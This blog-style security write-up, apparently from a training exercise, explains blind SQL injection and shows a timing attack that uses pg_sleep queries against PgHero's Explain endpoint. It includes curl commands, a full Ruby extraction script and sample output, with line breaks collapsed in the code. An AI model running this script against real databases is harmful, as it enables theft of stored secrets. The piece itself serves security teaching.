In a classic SQL injection attack, an attacker will insert additional SQL into an otherwise safe query. Consider this user login query:
SELECT 1 FROM users WHERE email = '[email protected]' AND password = 'password';
If the user-inputted password isn’t sanitized, an attacker could craft an input that would change the query, e.g. ' OR 1=':
SELECT 1 FROM users WHERE email = '[email protected]' AND password = 'password' OR 1='1';
The injected SQL closes the first predicate and ORs it to another that is always true; meaning that this “password” can be used to log in to any account.
It’s important to note that while this bypasses account security, it doesn’t leak any sensitive information. That is, it’s a blind SQL injection attack because we can’t see the result of our SQL injection; the response to our login action doesn’t share what the password actually was.
Picking on PgHero
As part of a recent security training exercise, I was tasked with being a fake attacker who had gained access to one of our administrative tools. PgHero is a Ruby-based tool that provides an administrative interface to Postgres, with a focus on performance tuning. It is wonderfully useful. One included feature is a query Explainer and Analyzer:
This tool provides the result of Explain or Analyze, both of which do not include any of the data from the result of the query. By wrapping the query in a transaction and rolling it back, this tool also prevents destruction or mutation of data. At first glance, it would seem that this is a pretty innocuous tool that can do no harm: can’t change anything, can’t retrieve anything.
Timing-based Attack
While Explain/Analyze doesn’t return the result of the query, it does return metadata about the query: how long it takes the query to execute. Consider the following query:
SELECT CASE WHEN secret = 'secret' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;
This query will return quickly if the guess was wrong or take ~5s if correct. Using this query style and timing the execution time, we can now extract binary (yes/no) answers from the database. Using substr, every character in the string you’re trying to discover can be enumerated:
-- brute force 1st characterSELECT CASE WHEN substr(secret, 1, 1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 1, 1) = 'b' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 1, 1) = 'c' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;...
-- brute force 16th characterSELECT CASE WHEN substr(secret, 16, 1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 16, 1) = 'b' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 16, 1) = 'c' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;...
Note: if you needed to do this as more than a proof of concept, binary searching will be much faster than testing each possibility.
For each character, the query that took ~5s to run indicates the correct character. If for some reason pg_sleep() isn’t available, any sufficiently slow/expensive query will do (e.g. joining on a field without an index).
To run these queries against PgHero, the SQL needs to be wrapped in an appropriate cURL command:
curl --silent \-d "query='SELECT CASE WHEN substr(secret,1,1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id=1;'" \-d "commit=Analyze" \--user admin:password \https://myhost.com/pghero/explain
With a little boilerplate, we can automate the entire extraction process:
POSITIVE_DELAY = 2CHARS = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a
def query(table, field, id, char, pos)%Q[SELECT CASE WHEN substr(#{field}, #{pos}, 1) = \'#{char}\' THEN pg_sleep(#{POSITIVE_DELAY}) ELSE NULL END FROM #{table} WHERE id = #{id} ;]end
def timeitt0 = Time.nowyieldTime.now - t0end
def curl_test(table, field, id, char, pos)cmd = <<-CMD.squishcurl --silent -d "query=#{query(table, field, id, char, pos)}" -d "commit=Analyze"--user admin:passwordhttps://myhost.com/pghero/explainCMDtimeit { `#{ cmd }` } > POSITIVE_DELAYend
def retrieve_field(table, field, id)buffer = ""(1..255).each do |pos|found = falseCHARS.each do |char|if curl_test(table, field, id, char, pos)puts "#{pos}: #{char}"buffer << charfound = truebreak # once a match is found, move onendendbreak unless found # if nothing matched, treat as end of stringendbufferend
secret = retrieve_field('apps', 'secret', 1)puts "secret: #{secret}"
And a sample run of this attack:
$ ruby blind-sql.rb1: 62: 43: 24: 85: 96: a7: 18: 09: 910: c11: d12: 613: 314: b15: d16: f17: 018: 319: a20: 8key: 64289a109cd63bdf03a8
Summary
Any SQL injection attack vector is bad news. Commonly they arise from programming errors, but administrative tooling can also expose SQL injection style attacks. If the SQL injection vector doesn’t expose the results of a query, the results can still be systematically extracted using a timing-based attack.
Further reading: